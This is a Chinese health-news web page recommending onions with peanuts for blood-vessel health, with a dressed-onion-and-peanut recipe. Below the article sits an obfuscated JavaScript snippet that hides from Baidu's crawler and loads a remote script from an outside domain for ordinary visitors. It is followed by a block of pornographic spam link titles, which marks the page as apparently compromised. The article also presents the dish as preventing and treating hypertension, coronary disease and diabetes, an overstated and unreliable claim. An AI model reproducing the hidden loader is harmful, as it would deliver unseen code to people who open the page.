當前位置:首頁 > 飲食 > 健康飲食 > 正文

洋蔥配花生讓血管更健康

2017-05-18 11:10:41  來源:360常識網   熱度:
導語:洋蔥和花生都有其各自的改善血脂和血管健康的作用,并具備多重的抗氧化作用,如果單獨食用,固然可以體現各自鮮明的營養功效,但是如果兩者搭配同食,則可以發揮協同作戰的威力。

洋蔥配花生讓血管更健康

洋蔥配花生讓血管更健康

洋蔥是含植物化學物種類最多、含量也最多的食物之一。這些成分宛如一種較強的血管擴張劑,能舒張血管,降低血液黏度,增強冠狀動脈的流量,具有預防和治療高血壓、動脈硬化、高血脂和冠心病的作用。紫洋蔥的營養功效要高于黃洋蔥,這一點也正符合深色蔬菜的營養價值要高于淺色蔬菜的規律。

花生中的單不飽和脂肪酸含量較高。單不飽和脂肪酸有利于脂肪代謝,能降低動脈硬化和高血壓的發病率。花生中的維生素E和鋅含量也比較高,這兩種微量營養素都是抗氧化、延緩衰老、提高免疫力的重要成分。經常適量吃花生米,是日常補充抗氧化物質的便利方式。

洋蔥和花生都有其各自的改善血脂和血管健康的作用,并具備多重的抗氧化作用,如果單獨食用,固然可以體現各自鮮明的營養功效,但是如果兩者搭配同食,則可以發揮協同作戰的威力。

“紫洋蔥拌花生米”的制作方法

主料:紫洋蔥、花生米。

作料:陳醋、鮮味醬油、白糖、雞精。

做法:①將花生米用40℃~50℃的溫水浸泡3~5小時,不用水煮,清水洗凈待用;②將洋蔥切成菱形小塊;③用陳醋、鮮味醬油、白糖和雞精將洋蔥和花生米拌勻,10分鐘后即可以食用。

本款小菜適用于高血脂、高血壓、動脈硬化、冠心病、糖尿病患者及亞健康人士食用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产色无码精品视频免费| 国产精品制服丝袜一区| 国产精品国产免费无码专区不卡| 国产国拍亚洲精品mv在线观看| 东京热一精品无码AV| 久久久久九国产精品| 国产成人精品一区二区秒拍| 91久久国产精品| 久久久久久人妻一区精品| 久久精品国产91久久综合麻豆自制| 99re九精品视频在线视频| 老司机精品视频免费| 日本尤物精品视频在线看| 日韩A∨精品日韩在线观看| 麻豆精品无码国产在线果冻| 久久精品国产亚洲香蕉| 亚洲精品国产精品国自产观看| 国产精品福利网站导航| 久久精品一区二区三区四区| 国产成人精品午夜福麻豆| 1313午夜精品理论片| 精品久久久噜噜噜久久久| 久久99国产精品久久久| japanese乱人伦精品| 在线播放亚洲精品| 一本久久精品一区二区| 96免费精品视频在线观看| 精品久久久久久久| 国产成人麻豆亚洲综合无码精品 | 日本精品一二三区| 久久AV无码精品人妻糸列| 久久99精品久久久久子伦小说| 精品午夜国产人人福利| 伊人精品视频在线| 国产在热线精品视频| 日本精品久久久久久福利| 国产精品无码久久综合网| 青娱乐2017年精品视频在线| 2021国产成人午夜精品| 1313午夜精品久久午夜片| 亚洲精品国产成人专区|